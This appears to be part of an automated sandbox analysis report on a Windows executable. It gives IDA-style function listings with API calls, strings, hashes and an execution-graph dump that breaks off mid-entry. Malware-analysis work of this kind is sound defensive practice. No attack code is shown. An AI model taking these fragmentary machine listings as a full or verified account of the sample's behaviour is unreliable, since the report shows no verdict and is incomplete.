                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CapsDevice$Release
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1035833867-0
                                                                                                                                                        • Opcode ID: b961b03199d6e61b69c7d2d98e8d5974867dc59042d519ceeb61c304eee8656d
                                                                                                                                                        • Instruction ID: 22261f0964509999ec2d59fa11fed5fc11e9ef9d2b9ae83dc01edd43878f4c48
                                                                                                                                                        • Opcode Fuzzy Hash: b961b03199d6e61b69c7d2d98e8d5974867dc59042d519ceeb61c304eee8656d
                                                                                                                                                        • Instruction Fuzzy Hash: 93E0EC3594AFA0ABD6A13B70BD8DB863A64AB1ABA3F000141F601EE394C6A044018BB0
                                                                                                                                                        Function 00DA7C68 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __Init_thread_footer.LIBCMT ref: 00DA8294
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                          • Part of subcall function 00DB087E: __EH_prolog3_GS.LIBCMT ref: 00DB0885
                                                                                                                                                          • Part of subcall function 00DB087E: GetLastError.KERNEL32(0000001C,00DA8244,?,00000000,00000086,?,D8943D1D,?,?,?,?,?,00000000,00DCA75D,000000FF), ref: 00DB089D
                                                                                                                                                          • Part of subcall function 00DB087E: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00DCA75D,000000FF), ref: 00DB08D6
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLast$H_prolog3_Init_thread_footer_wcslen
                                                                                                                                                        • String ID: %ls
                                                                                                                                                        • API String ID: 1279724102-3246610740
                                                                                                                                                        • Opcode ID: 48d2b3b724ab0586522640e10bb45fc1c605d9dc4c99a528a45fa428cbb72824
                                                                                                                                                        • Instruction ID: 5ab4adb59c81a2872d6790fabafa5b3c3745c42e60b0cb1cb8ce4dc52720ecd9
                                                                                                                                                        • Opcode Fuzzy Hash: 48d2b3b724ab0586522640e10bb45fc1c605d9dc4c99a528a45fa428cbb72824
                                                                                                                                                        • Instruction Fuzzy Hash: 63B1AF3494020AEEDF20EF50CD46FAE7BB1EF16314F104419F982661D1DBB59A18EAB0
                                                                                                                                                        Function 00DAEF21 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 240COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DAEBAA: GetDC.USER32(00000000), ref: 00DAEBAE
                                                                                                                                                          • Part of subcall function 00DAEBAA: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DAEBB9
                                                                                                                                                          • Part of subcall function 00DAEBAA: ReleaseDC.USER32(00000000,00000000), ref: 00DAEBC4
                                                                                                                                                        • GetObjectW.GDI32(?,00000018,?), ref: 00DAEF65
                                                                                                                                                          • Part of subcall function 00DAF1EC: GetDC.USER32(00000000), ref: 00DAF1F5
                                                                                                                                                          • Part of subcall function 00DAF1EC: GetObjectW.GDI32(?,00000018,?), ref: 00DAF224
                                                                                                                                                          • Part of subcall function 00DAF1EC: ReleaseDC.USER32(00000000,?), ref: 00DAF2BC
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ObjectRelease$CapsDevice
                                                                                                                                                        • String ID: (
                                                                                                                                                        • API String ID: 1061551593-3887548279
                                                                                                                                                        • Opcode ID: 64da6762591214d959aeaa82c8b78f3030c10c53114abce4e7bbaafd9ed70c7d
                                                                                                                                                        • Instruction ID: 0e8c253d49ef3832444d6f14f72cd011ed07088cf2150ef623bd187d5a4d5793
                                                                                                                                                        • Opcode Fuzzy Hash: 64da6762591214d959aeaa82c8b78f3030c10c53114abce4e7bbaafd9ed70c7d
                                                                                                                                                        • Instruction Fuzzy Hash: C591F1716183559FC660DF65C844E2BFBE9FF89B00F00495EF98AD7260DB70A906CB62
                                                                                                                                                        Function 00DC1E68 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _free.LIBCMT ref: 00DC1FD4
                                                                                                                                                          • Part of subcall function 00DBACBB: IsProcessorFeaturePresent.KERNEL32(00000017,00DBAC8D,00DB535E,?,?,00000000,00DB535E,00000016,?,?,00DBAC9A,00000000,00000000,00000000,00000000,00000000), ref: 00DBACBD
                                                                                                                                                          • Part of subcall function 00DBACBB: GetCurrentProcess.KERNEL32(C0000417,?,00DB535E), ref: 00DBACDF
                                                                                                                                                          • Part of subcall function 00DBACBB: TerminateProcess.KERNEL32(00000000,?,00DB535E), ref: 00DBACE6
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                                                                                                                                                        • String ID: *?$.
                                                                                                                                                        • API String ID: 2667617558-3972193922
                                                                                                                                                        • Opcode ID: ddd9ab5e61b6f17a30a233bd59a6b62b4ed979bfdbd97246aefffea125efcfc1
                                                                                                                                                        • Instruction ID: 3545ee14b511da8d56123802fe7d7b47400eeb6bf347a136f473499f18da72dc
                                                                                                                                                        • Opcode Fuzzy Hash: ddd9ab5e61b6f17a30a233bd59a6b62b4ed979bfdbd97246aefffea125efcfc1
                                                                                                                                                        • Instruction Fuzzy Hash: 0551717AE0021A9FDF14DFA8C881AADBBB5EF49310F28416DE855E7341E7319A018B60
                                                                                                                                                        Function 00D9F103 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA79F7: GetSystemTime.KERNEL32(?,00000000), ref: 00DA7A0F
                                                                                                                                                          • Part of subcall function 00DA79F7: SystemTimeToFileTime.KERNEL32(?,?), ref: 00DA7A1D
                                                                                                                                                          • Part of subcall function 00DA79A0: __aulldiv.LIBCMT ref: 00DA79A9
                                                                                                                                                        • __aulldiv.LIBCMT ref: 00D9F162
                                                                                                                                                        • GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,D8943D1D,?,?,00000000,?,00000000,00DC9F3D,000000FF), ref: 00D9F169
                                                                                                                                                          • Part of subcall function 00D91150: _wcslen.LIBCMT ref: 00D9115B
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Time$System__aulldiv$CurrentFileProcess_wcslen
                                                                                                                                                        • String ID: .rartemp
                                                                                                                                                        • API String ID: 3789791499-2558811017
                                                                                                                                                        • Opcode ID: 6bfac185d3817254c6d260b86f8875a8566ee7f0b0831eb6fa75eefcb5b9a08a
                                                                                                                                                        • Instruction ID: 043124557a6e5443824c318e9535740b7683bc420aa64e0511889721ca39f61b
                                                                                                                                                        • Opcode Fuzzy Hash: 6bfac185d3817254c6d260b86f8875a8566ee7f0b0831eb6fa75eefcb5b9a08a
                                                                                                                                                        • Instruction Fuzzy Hash: CD416D75910249AFDF14EFA4CC46FEEB7A9EF54350F404129F919A3282EB749B09CA70
                                                                                                                                                        Function 00DADACE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3.LIBCMT ref: 00DADAD5
                                                                                                                                                          • Part of subcall function 00DA0360: __EH_prolog3.LIBCMT ref: 00DA0367
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3
                                                                                                                                                        • String ID: Shell.Explorer$about:blank
                                                                                                                                                        • API String ID: 431132790-874089819
                                                                                                                                                        • Opcode ID: fad25aa0a5a389240ff0cff23e5fb572140248bc87e63d6ba81fdfb891b347ba
                                                                                                                                                        • Instruction ID: 5a0be5d6e3d203cf84d5d9ad01818d094135d93951a99932d3d6e576bac0bb20
                                                                                                                                                        • Opcode Fuzzy Hash: fad25aa0a5a389240ff0cff23e5fb572140248bc87e63d6ba81fdfb891b347ba
                                                                                                                                                        • Instruction Fuzzy Hash: A2415C70600202DFDB18DF64C851B6AB7B6EF8A700F15806DE9479B691DB70AD01CB70
                                                                                                                                                        Function 00DB0110 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00D91E44: GetDlgItem.USER32(00000000,00003021), ref: 00D91E88
                                                                                                                                                          • Part of subcall function 00D91E44: SetWindowTextW.USER32(00000000,00DCC6C8), ref: 00D91E9E
                                                                                                                                                        • EndDialog.USER32(?,00000001), ref: 00DB017B
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000067,?), ref: 00DB01B9
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ItemText$DialogWindow
                                                                                                                                                        • String ID: GETPASSWORD1
                                                                                                                                                        • API String ID: 445417207-3292211884
                                                                                                                                                        • Opcode ID: 65bd6b783a4909f55a2bfafb8f3903ee7a6600173677bb16fb946fb2d075bfe0
                                                                                                                                                        • Instruction ID: 4204ddda44c9ee4e7e366c237ad4e1f848ed29f2d43a53ffd9b15eb61e25e46e
                                                                                                                                                        • Opcode Fuzzy Hash: 65bd6b783a4909f55a2bfafb8f3903ee7a6600173677bb16fb946fb2d075bfe0
                                                                                                                                                        • Instruction Fuzzy Hash: 2F112BB2644354FBD274AB289C85FFB7BACEB86740F040429F746E7180C770A8058675
                                                                                                                                                        Function 00DA5109 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA5094: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00DA50B3
                                                                                                                                                          • Part of subcall function 00DA5094: GetProcAddress.KERNEL32(00DE51F8,CryptUnprotectMemory), ref: 00DA50C3
                                                                                                                                                        • GetCurrentProcessId.KERNEL32(?,00000200,?,00DA5104), ref: 00DA5197
                                                                                                                                                        Strings
                                                                                                                                                        • CryptUnprotectMemory failed, xrefs: 00DA518F
                                                                                                                                                        • CryptProtectMemory failed, xrefs: 00DA514E
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AddressProc$CurrentProcess
                                                                                                                                                        • String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
                                                                                                                                                        • API String ID: 2190909847-396321323
                                                                                                                                                        • Opcode ID: 3f81fff8bb27ec4675df93a551cc214a4277c54714df8a47a8b8a7f7838686be
                                                                                                                                                        • Instruction ID: 49aa4981e346c91f2907f7cea6d5ad29634cdd3558a14ad7a759ebf3ee160e3a
                                                                                                                                                        • Opcode Fuzzy Hash: 3f81fff8bb27ec4675df93a551cc214a4277c54714df8a47a8b8a7f7838686be
                                                                                                                                                        • Instruction Fuzzy Hash: 93110331A01B25ABDF11AF24BC40B7E7B65EF02764B084119FD159F389D6309D0186F8
                                                                                                                                                        Function 00DB4264 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • IsWindowVisible.USER32(000103E4), ref: 00DB4291
                                                                                                                                                        • DialogBoxParamW.USER32(GETPASSWORD1,000103E4,00DB0110,?), ref: 00DB42BA
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: DialogParamVisibleWindow
                                                                                                                                                        • String ID: GETPASSWORD1
                                                                                                                                                        • API String ID: 3157717868-3292211884
                                                                                                                                                        • Opcode ID: 97536f571a5f3eb2198c1f6e55b872350161357ce6ac708ad75cc9bbe19512c3
                                                                                                                                                        • Instruction ID: 1b39674836fe3bfbfcf0e366353e799e0cb4d9943e1e8c424c3ff3bd94651df7
                                                                                                                                                        • Opcode Fuzzy Hash: 97536f571a5f3eb2198c1f6e55b872350161357ce6ac708ad75cc9bbe19512c3
                                                                                                                                                        • Instruction Fuzzy Hash: 2D014930696395FFCF10FB64EC86EE737D8AB02348B444115F803D7292CAA09844EB71
                                                                                                                                                        Function 00D91E44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA3EAA: _swprintf.LIBCMT ref: 00DA3EEA
                                                                                                                                                          • Part of subcall function 00DA3EAA: _strlen.LIBCMT ref: 00DA3F0B
                                                                                                                                                          • Part of subcall function 00DA3EAA: SetDlgItemTextW.USER32(?,00DD919C,?), ref: 00DA3F64
                                                                                                                                                          • Part of subcall function 00DA3EAA: GetWindowRect.USER32(?,?), ref: 00DA3F9A
                                                                                                                                                          • Part of subcall function 00DA3EAA: GetClientRect.USER32(?,?), ref: 00DA3FA6
                                                                                                                                                        • GetDlgItem.USER32(00000000,00003021), ref: 00D91E88
                                                                                                                                                        • SetWindowTextW.USER32(00000000,00DCC6C8), ref: 00D91E9E
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ItemRectTextWindow$Client_strlen_swprintf
                                                                                                                                                        • String ID: 0
                                                                                                                                                        • API String ID: 2622349952-4108050209
                                                                                                                                                        • Opcode ID: c26393b5fae8e1613966f5a3b1237c05f244ef353070e9cc4ac6cc60986e7e98
                                                                                                                                                        • Instruction ID: 7a3352f5365eeddbb8e08251d416d4bd8188b1cf390925a47404dce69290a0ab
                                                                                                                                                        • Opcode Fuzzy Hash: c26393b5fae8e1613966f5a3b1237c05f244ef353070e9cc4ac6cc60986e7e98
                                                                                                                                                        • Instruction Fuzzy Hash: 92F0C234A84389ABDF162F62DD0ABFA3B59AF15304F085259FC48983A1C774CA94DB70
                                                                                                                                                        Function 00DA75ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF,00DA770A,?,?,00DA777F,?,?,?,?,?,00DA7769), ref: 00DA75F3
                                                                                                                                                        • GetLastError.KERNEL32(?,?,00DA777F,?,?,?,?,?,00DA7769), ref: 00DA75FF
                                                                                                                                                          • Part of subcall function 00D992EB: __EH_prolog3_GS.LIBCMT ref: 00D992F2
                                                                                                                                                        Strings
                                                                                                                                                        • WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00DA7608
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorH_prolog3_LastObjectSingleWait
                                                                                                                                                        • String ID: WaitForMultipleObjects error %d, GetLastError %d
                                                                                                                                                        • API String ID: 2419225763-2248577382
                                                                                                                                                        • Opcode ID: 2fafc98179c8c38f515d9ff5dd74554b3e8d3fb6a21e2d22b6f7adc1115ee08b
                                                                                                                                                        • Instruction ID: 7ea230f257e868b567d788adbf411c277a080e2f2e21865ac2e38a8763107e2d
                                                                                                                                                        • Opcode Fuzzy Hash: 2fafc98179c8c38f515d9ff5dd74554b3e8d3fb6a21e2d22b6f7adc1115ee08b
                                                                                                                                                        • Instruction Fuzzy Hash: A2D05B3154852377DA1033685C09DAE7905DB12330F540728F638A53E5DA10084192BD
                                                                                                                                                        Function 00DA3E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetModuleHandleW.KERNEL32(00000000,?,00000000,?,00000000,00200000,?,?,00000000,0000005C,D8943D1D), ref: 00DA3E65
                                                                                                                                                        • FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 00DA3E73
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FindHandleModuleResource
                                                                                                                                                        • String ID: RTL
                                                                                                                                                        • API String ID: 3537982541-834975271
                                                                                                                                                        • Opcode ID: 5ebf5334fc13bf34ad92c672525814b8ff38130f6c4c5bc37386565c2def5c41
                                                                                                                                                        • Instruction ID: 289b58dd89e8daca1a52c253062f7b125e299f17a9921f5e314106c5ddd02435
                                                                                                                                                        • Opcode Fuzzy Hash: 5ebf5334fc13bf34ad92c672525814b8ff38130f6c4c5bc37386565c2def5c41
                                                                                                                                                        • Instruction Fuzzy Hash: D7C012716503129AE73017716C0DF432D585B05715F09145CF70DDA5C0D5E5D8428BF0

                                                                                                                                                        Execution Graph

                                                                                                                                                        Execution Coverage:23.2%
                                                                                                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                        Signature Coverage:5.3%
                                                                                                                                                        Total number of Nodes:1371
                                                                                                                                                        Total number of Limit Nodes:56
                                                                                                                                                        execution_graph 11262 786178 11263 7861a1 11262->11263 11264 7861cc _wcslen 11263->11264 11268 7861eb 11264->11268 11265 7862ed CoInitialize CoCreateInstance 11266 786312 11265->11266 11269 786331 11265->11269 11267 78631c CoUninitialize 11266->11267 11267->11269 11268->11265 10181 71f470 10184 729fa5 10181->10184 10183 71f47c 10185 72a023 10184->10185 10186 729fc6 10184->10186 10185->10183 10186->10185 10188 71be6d 10186->10188 10189 71be90 10188->10189 10190 71be81 10188->10190 10189->10185 10190->10189 10192 73019b 10190->10192 10194 73016b 10192->10194 10193 73018a 10193->10189 10194->10193 10195 7309fe 10194->10195 10197 7309ef __CxxThrowException 10194->10197 10196 730a0c __CxxThrowException 10195->10196 10198 730a22 10196->10198 10197->10195 10198->10189 11270 748070 11271 748090 11270->11271 11274 7501dd 11271->11274 11273 7480b0 11276 75021c 11274->11276 11275 750284 __raise_exc 11277 7502a1 11275->11277 11276->11275 11276->11277 11277->11273 11278 79207e 11279 7920c0 11278->11279 11280 79214b Shell_NotifyIconW 11279->11280 11281 742173 11282 742185 11281->11282 11283 74218b 11281->11283 11285 74206a 11282->11285 11286 742094 11285->11286 11287 742077 11285->11287 11286->11283 11288 74208e 11287->11288 11290 742d58 _free 2 API calls 11287->11290 11289 742d58 _free 2 API calls 11288->11289 11289->11286 11290->11287 10320 71367c 10323 713696 10320->10323 10322 713690 10324 7136ad 10323->10324 10325 713711 10324->10325 10326 7136b2 10324->10326 10341 7136d4 10324->10341 10330 713743 SetTimer RegisterWindowMessageW 10325->10330 10331 71371e 10325->10331 10325->10341 10328 71378b PostQuitMessage 10326->10328 10329 7136bf 10326->10329 10327 7136f6 DefWindowProcW 10340 713704 10327->10340 10328->10340 10333 713795 10329->10333 10329->10341 10332 71376c CreatePopupMenu 10330->10332 10330->10340 10334 713727 KillTimer 10331->10334 10335 753d6f 10331->10335 10332->10340 10342 72fcbb 10333->10342 10334->10340 10337 753d74 10335->10337 10338 753daa MoveWindow 10335->10338 10339 753d99 SetFocus 10337->10339 10337->10341 10338->10340 10339->10340 10340->10322 10341->10327 10341->10340 10343 72fd59 10342->10343 10345 72fcd3 10342->10345 10343->10340 10344 72fd42 KillTimer SetTimer 10344->10343 10345->10344 10346 76fdcb Shell_NotifyIconW 10345->10346 10346->10344 11493 7a00f7 11494 7a011f 11493->11494 11495 7a013e 11494->11495 11496 7a01c7 